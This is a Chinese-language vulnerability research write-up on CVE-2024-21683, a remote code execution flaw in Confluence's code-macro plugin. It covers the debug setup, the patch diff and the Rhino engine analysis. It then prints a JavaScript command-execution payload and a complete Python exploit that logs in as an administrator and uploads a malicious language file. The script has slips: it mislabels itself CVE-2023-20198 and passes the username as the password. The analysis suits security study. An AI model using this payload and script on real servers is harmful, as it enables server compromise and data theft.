一、漏洞调试环境搭建
以8.9.0
和8.9.1
为例:
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.0.tar.gz
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.1.tar.gz
然后使用idea
来diff
查看不同:
"D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe" diff "D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0" "D:\vuln_image\confluence\diff\atlassian-confluence-8.9.1"
但是由于jar
包的名字里面有版本号,而由于版本号的不同,会导致查看不同的时候不会展示不同版本的jar
包之间的差异,因此我们需要对版本号进行处理,可以是把它删掉,也可以是替换成x.x.x
。我们先把D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins
、D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\lib
和D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins-setup
下的所有jar
包复制到了D:\vuln_image\confluence\diff\lib890
,然后8.9.1
版本也同样这么做,接着根据后者思路写出python
脚本如下:
import os
import re
folder_path = r'D:\vuln_image\confluence\diff\lib890'
version_regex = r'\d+\.\d+\.\d+'
files = os.listdir(folder_path)
for file_name in files:
version_match = re.search(version_regex, file_name)
if version_match:
new_file_name = re.sub(version_regex, 'x.x.x', file_name)
old_file_path = os.path.join(folder_path, file_name)
new_file_path = os.path.join(folder_path, new_file_name)
os.rename(old_file_path, new_file_path)
print(f'Renamed {file_name} to {new_file_name}')
然后改个文件夹再跑一遍8.9.1
版本的:
当然,部分jar
包的版本号是4
位的,不过比较少,我就懒得改脚本了,万一真遇到了就最后单独分析看看。
再diff
就可以了:
"D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe" diff "D:\vuln_image\confluence\diff\lib890" "D:\vuln_image\confluence\diff\lib891"
然后idea
打开D:\vuln_image\confluence\atlassian-confluence-8.9.0
,修改bin
目录下的setenv.bat
,添加这么一行:
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8866 %CATALINA_OPTS%
并配置远程调试,然后去bin目录下启动start-confluence.bat即可开始安装,需要自己配置postgresql:
然后把上面提到的三个库文件夹右键Add as Libriary
。
二、漏洞代码分析
从上往下翻,发现D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins\com.atlassian.confluence.ext.newcode-macro-plugin-18.9.8.jar
进行了一处安全修复,因为名字实在是太显眼了,从initStandardObjects
变成了initSafeStandardObjects
,多加了个safe
,极有可能就是本漏洞的问题所在:
定位到源代码com.atlassian.confluence.ext.code.languages.impl.RhinoLanguageParser
:
漏洞对应功能位于http://192.168.198.1:8090/admin/plugins/newcode/configure.action#
这里的添加新语言
这个表单:
下断点,然后传文件进行调试看看:
F8
到evaluateString
函数这里之后F7
步入进去看看具体的逻辑:
这里我们右键value
,以字符串形式来显示,然后view text
:
可以看到,我们的text.js
中的text
被放置在如下位置:
我们仔细看看这段代码:
public final Object evaluateString(Scriptable scope, String source, String sourceName, int lineno, Object securityDomain) {
Script script = this.compileString(source, sourceName, lineno, securityDomain);
return script != null ? script.exec(this, scope) : null;
}
可以参考以下两篇文章:
https://blog.51cto.com/u_16213644/7333014
https://dev.ariel-networks.com/Members/iwanaga/rhino-code-reading03/
也就是说,会编译传入的脚本源代码,如果编译成功的话就执行该脚本并返回执行结果,如果编译失败,就返回 null
。
而这个evaluateReader
函数的第二个参数包含我们传入的脚本,并且它的代码没有任何安全过滤的操作,因此我们可以自定义一些恶意的代码,例如:
new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()
具体还可以参考下面的文章学习:
https://blog.h3xstream.com/2014/11/remote-code-execution-by-design.html
https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html
https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection/el-expression-language
那官方是怎么修复的呢?使用initSafeStandardObjects
定义rhino
的上下文,防止JavaScript
引擎调用Java
代码:
这部分知识其实也可以参考:
https://help.aliyun.com/zh/security-center/user-guide/learn-about-application-protection
三、自动化脚本编写
https://github.com/W01fh4cker/CVE-2024-21683-RCE
import argparse
import os
import requests
from bs4 import BeautifulSoup
def GeyAltToken(url, proxy, session):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
}
alttoken_url = f"{url}/admin/plugins/newcode/configure.action"
resp = session.get(url=alttoken_url, headers=headers, verify=False, proxies=proxy, timeout=20)
if "atlassian-token" in resp.text:
soup = BeautifulSoup(resp.text, 'html.parser')
meta_tag = soup.find('meta', {'id': 'atlassian-token', 'name': 'atlassian-token'})
if meta_tag:
content_value = meta_tag.get('content')
return content_value
else:
print("Meta tag not found")
def LoginAsAdministrator(session, url, proxy, username, password):
login_url = url + "/dologin.action"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = f"os_username={username}&os_password={password}&login=%E7%99%BB%E5%BD%95&os_destination=%2F"
session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)
def DoAuthenticate(session, url, proxy, password, alt_token):
login_url = url + "/doauthenticate.action"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = f"atl_token={alt_token}&password={password}&authenticate=%E7%A1%AE%E8%AE%A4&destination=/admin/viewgeneralconfig.action"
session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)
def UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token):
url = f"{url}/admin/plugins/newcode/addlanguage.action"
data = {
"atl_token": alt_token,
"newLanguageName": "test"
}
files = {
"languageFile": (
jsFilename, jsFileContent, "text/javascript")
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
}
session.post(url, headers=headers, data=data, files=files, verify=False, proxies=proxy, timeout=20)
def ParseArgs():
parser = argparse.ArgumentParser(description="CVE-2023-20198-RCE")
parser.add_argument("-u", "--url", type=str, help="target url to check, eg: http://192.168.198.1:8090", required=True)
parser.add_argument("-p", "--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False)
parser.add_argument("-au", "--admin-username", type=str, help="The username of the user who is in the Administrators group", required=True)
parser.add_argument("-ap", "--admin-password", type=str, help="The password of the user who is in the Administrators group", required=True)
parser.add_argument("-f", "--file", type=str, help="exploit file", default="exploit.js", required=True)
parser.add_argument("-n", "--name", type=str, help="newLanguageName", default="test", required=True)
return parser.parse_args()
if __name__ == '__main__':
args = ParseArgs()
if not args.proxy:
proxy = {}
else:
proxy = {
"http": args.proxy,
"https": args.proxy
}
session = requests.session()
jsfn = os.path.basename(args.file)
jsfc = open(args.file, "r", encoding="utf-8").read()
LoginAsAdministrator(session, args.url.strip("/"), proxy, args.admin_username, args.admin_password)
alt_token = GeyAltToken(args.url.strip("/"), proxy, session)
DoAuthenticate(session, args.url.strip("/"), proxy, args.admin_username, alt_token)
UploadEvilJsFile(session, args.url.strip("/"), proxy, jsfn, jsfc, alt_token)
效果:
四、后记
这个漏洞官方说需要验证,但是这个功能点是管理员组用户才具有的,因此普通用户账户应当是无法利用的,并且我也没找到其他地方存在配置代码宏这个功能对应的函数,不排除我落了某些地方;可能会有人有疑问,我都有管理员组账户的账号密码了,我还这么费劲地RCE
干嘛,不能直接传插件RCE
吗?但是至少我测试的8.9.0
版本已经去除了这个功能,其他版本我具体也没去查: